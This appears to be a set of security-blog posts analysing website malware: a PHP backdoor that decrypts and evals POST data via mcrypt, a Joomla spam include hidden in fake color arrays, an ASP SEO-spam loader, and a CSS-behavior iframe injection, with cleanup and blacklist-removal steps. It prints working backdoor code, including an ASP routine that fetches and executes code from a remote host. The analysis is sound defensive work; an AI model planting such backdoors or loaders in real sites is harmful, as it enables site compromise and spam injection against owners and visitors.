Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

That’s just one of the common type of evasion methods used by the bad guys. Another one we see often is the mix of “preg_replace” with the “e” flag to execute (eval) the content provided. The attackers do not stop there though.

Network Evasion using mcrypt

Website firewalls are becoming more common as website owners realize the need to protect their sites, and block attacks before they can do much damage. We are seeing some new types of backdoors that are created with the purpose of evading those firewalls. Instead of sending the malicious payload over the wire, the attackers encrypt it using “mcrypt_encrypt” so anyone monitoring the traffic over the network (either with a intrusion detection system or firewall), won’t know what is being sent.

When the request arrives at the backdoor, “mcrypt_decrypt” is used, and it executes (eval’s) the bad code. This is one example of backdoor that does it:

if (isset($_POST["\x63o\x64e"])){eval (mcrypt_decrypt(MCRYPT_RIJNDAEL_256,"z\x73\x43T\x6bw\x35x",base64_decode($_POST["\x63o\x64e"]),MCRYPT_MODE_ECB));}exit;?>

For reference, we have it fully decoded on ddecode. It basically gets the content of the POST request variable “code” and decrypts using Rijndeal (a symmetric encryption algorithm) using the key “zsCTkw5x”. If you don’t know the key, you would never be able to decrypt what is being sent. This is the decoded snipped core of the backdoor:

eval (mcrypt_decrypt (MCRYPT_RIJNDAEL_256,"zsCTkw5x&quot,

And we see it injected with different passwords on different sites. What is interesting is that this backdoor is not very concerned about evading file level detection, but only network-level monitoring. So they are easy to be detected once you get access to the compromised site.

As always, it shows the arms race between the attackers and the defenders. Note that even though this type of backdoor can’t really be decoded or analyzed at the network level, anyone using our Website Firewall are protected due to our virtual hardening.

Malware writers can be really ingenious when it comes to obfuscating their code. And let’s face it, in today’s anti-malware push, they have to; the slightest variation will often trigger warnings that will make it look suspicious in turn shortening its life-span.

When we talk about obfuscation the first thing we think is base64 encoding, gzinflate or any other built-in function that will help making the code illegible for the average user, but they’ll often stick out to the trained eye.

With that in mind, obfuscating the malware code to look like good code is the best approach to make it last longer.

Take this code, for example:

At first glance it may be a good code, right? Just some color arrays to make Joomla work correctly…

But, that function init_colors($colors) is actually converting those arrays into a string. Before that, you can find a call to preg_replace that consolidates all those arrays into:

return include(base64_decode("L3dlYi9odGRvY3Mvd3d3LmZvcm1lci5iaXovaG9tZS9tZWRpYS9rMi9hc3NldHMvaW1hZ2VzL2VsZmluZGVyLy5pY29ucy8uJTZhOSUlOTJkJSU1NTIlJTlmNCUlNTlhJSU0NGYlJWVlNSUlOGM3JQ=="));;

Which decodes to:

/web/htdocs/www.attackedsite.dom/home/media/k2/assets/images/elfinder/.icons/.%6a9%%92d%%552%%9f4%%59a%%44f%%ee5%%8c7%

This filename is not encoded, it is stored with this strange name.

Opening the strange file you find a complex spam tool, here is a quick snippet:

The most interesting part is that it is logging all access, if it’s a bot or a human, and it decides if the spam code will be shown based on the referrer quality, language and other variables to improve the SEO attack.

If you’re wondering what it’s showing, you can see it here:

Other thing is that the code was tailored specially for the site, using fullpaths for all includes, instead of relative paths as usual.

This shows us that using scripts to find base64 encoded strings are not as effective (or they never were) as most people think and finding spam is getting more and more complicated.

It’s all too easy to scream and holler at PHP based websites and the various malware variants associate with the technology, but perhaps we’re a bit too biased.

Here is a quick post on ASP variant. Thought we’d give you Microsoft types some love too.

Today we found this nice BlackHat SEO attack:

Finding it was easy. The bad code was sitting at the beginning of index.asp begging for some attention:

Server.ScriptTimeout=1500 
body=GetHtml("httx://seo-chat.biz/google/fileroot.txt")
execute body
Public Function GetHtml(url)    
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")    
ObjXMLHTTP.Open "GET",url,False    
ObjXMLHTTP.setRequestHeader "User-Agent",url    
ObjXMLHTTP.send    
GetHtml=ObjXMLHTTP.responseBody    
Set ObjXMLHTTP=Nothing    
set objStream = Server.CreateObject("Adodb.Stream")    
objStream.Type = 1    
objStream.Mode =3    
objStream.Open    
objStream.Write GetHtml    
objStream.Position = 0    
objStream.Type = 2    
objStream.Charset = "UTF-8"    
GetHtml = objStream.ReadText    
objStream.Close
End Function

The code is really straight forward, it creates a function called GetHtml, that downloads the content from httx://seo-chat.biz/google/fileroot.txt and executes it.

Curious what the code is? Not to worry, it’s nothing more than an ASP variant of some good old conditional malware (image is a snippet).

What I do find very interesting about this code is the following snippet:

Refer= Request.ServerVariables("HTTP_REFERER") '// 父级来源地址
user_agent=Request.ServerVariables("HTTP_USER_AGENT") '//服务器信息
host=Request.ServerVariables("HTTP_HOST")
ip=Request.ServerVariables("REMOTE_ADDR")

http_host = host
info = Request.ServerVariables("PATH_INFO")

If InStr(http_host,"www") > 0 Then 
	shellsite=right(http_host,len(http_host)-3-InStr(http_host,"www"))
else
	shellsite=http_host
end if

base = "http://www.cheapspycamerasinc.info/google"
indexurl = base&"/"&shellsite&"/index.php"

object_str = base&"/"&shellsite&"/object.txt"
if CheckURL(object_str) then
	ret_object = Trim(getHTTPPage(object_str))
end if

Each infected site has its own version of the spam content, only “valid” infected sites will download this spam code. You’ll find that the iframe injection is also there:

jump_str = base&"/"&shellsite&"/jump.txt"
'response.Write jump_str

newcode = 0 '是否是新跳转代码

if Len(ret_object)>3 and CheckURL(object_str) then
	open_urls = base&"/"&ret_object&"/url.txt" '跳转站列表
	'response.Write open_urls
	open_urls = getHTTPPage(open_urls)
	'随机取个站2013-08-23
	DomainTypeArray = split(open_urls,"|")
	Pathcoun = Ubound(DomainTypeArray)
	Randomize
	RndNumber = INT((Pathcoun+1)*RND)
	'response.Write DomainTypeArray(RndNumber)
	if instr(DomainTypeArray(RndNumber),"www")>0 then
		open_url = ""
	else
		open_url = ""
	end if
	newcode = 1
else
	open_url = base&"/"&shellsite&"/url.txt" '唯一跳转代码
end if

It’s a good dynamic control of what to inject in the sites code.

In short, all this to say, ASP is no better than PHP, there are equal number of variants on both technologies. We just write more about PHP as it’s one of the most prevalent technologies being consumed by everyday website owners, and their lovely Content Management Systems (CMS).

Oh, and did anyone else notice, what appears to be, Chinese … ummmm….. ;P

Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very little info should not be new, but what we found as we dove a little deeper should be. The idea is to provide you webmasters with the required insight to understand what is going on, and how to troubleshoot things when your website is blacklisted.

Get Your Bearing

While investigating the website, we found that some Google shortened URLs were being loaded and redirecting to http://bls.pw/. Two of the goo.gl links were pointing to Wikipedia images, their icon to be specific, and one was redirecting to http://bls.pw/ shortener.

goo.gl/9yBTe - http://bits.wikimedia.org/favicon/wikipedia.ico
goo.gl/hNVXP - http://bits.wikimedia.org/favicon/wikipedia.ico?2x2
goo.gl/24vi1 - http://bls.pw/

A quick search for this last URL took us to /wp-content/themes/Site’sTheme/css/iefix.sct. As malware writers like to do, it was trying to trick us into believing it was good code. In this case, the Sizzle CSS Selector Engine code (Real code here) was the target:

As you can see, it is creating an iFrame with the malicious address, but, before we start to break the malware apart, lets clean it. Understanding the payload is one aspect of the game, but for most of you website administrators, identifying is a by-product of the process, what you really want is to get clean and get clean fast.

Clean The Infection

It’d be too easy if locating the iefix.sct was all that needed to happen. Let’s do a quick search for that filename, iefix.sct. Doing so, we found that it was being called in a cascading style sheet (CSS) – wp-content/themes/Site’sTheme/style.css. That should raise a few eyebrow’s for sure…

In this CSS file the following behavior was added:

How do you clean up though?

Easy, remove the behavior and delete the sct file and you’re off to the races. If you still can’t figure it out, no worries let us know and we’ll be happy to give you a hand.

Understand the Malware

Now, to the fun part!

Recall the bls.pw shortener? Well, it’s loading another iFrame with all the other Google images we saw, plus a new link.

Yes, now we are getting to the payload!

The page it loads is really fine, a nicely encoded JavaScript using hidden div’s to store its encoded strings:

It’s a huge code set, and it tests for the presence of Java plugins, and Adobe Reader, and tries to load some malicious Java code or PDF files, depending on what’s enabled in the victims browser.

Here is what you’d likely see if you don’t have either installed:

You gain a real appreciation for what it’s doing when you decode the JavaScript and you find this little gem:

Unfortunately that’s where the cookie trail stopped for us.. The domain was taken offline during the investigation which halted any further forensics.

Remove the Google Blacklist

Finally, we get to the important stuff, removing your website off the blacklist.

This perhaps is the one step that is going to require the most patience. It’s not an instantaneous process. The site has to be submitted to Google to review, and you have to wait to see what the response is. This process normally takes 12 – 24 hours, and there is no speeding this process up.

Google has been kind enough to provide step-by-step instructions, we recommend taking the time to read through it.

When you log into your Google Webmaster account and verify you own the website, you’ll have the ability to click on the Security Issues, and from there you’ll be able to submit for a review:

Once submitted, you wait. You want to make sure you are protecting yourself to avoid reinfections, but other than that it’s a waiting game. Be sure to continue to check back with Google Webmaster Tools for updates, but as long as you can keep the attacker from reinfecting your website you should be good to go.

Evolving Trends

This is a good example of malware that’s not using the common infection vectors, like PHP or JS files, it’s injecting its malicious code inside CSS files and using different extension types to store the trigger. Most of the users look only for eval() or base64_decode() functions in their files, overlooking infections like this.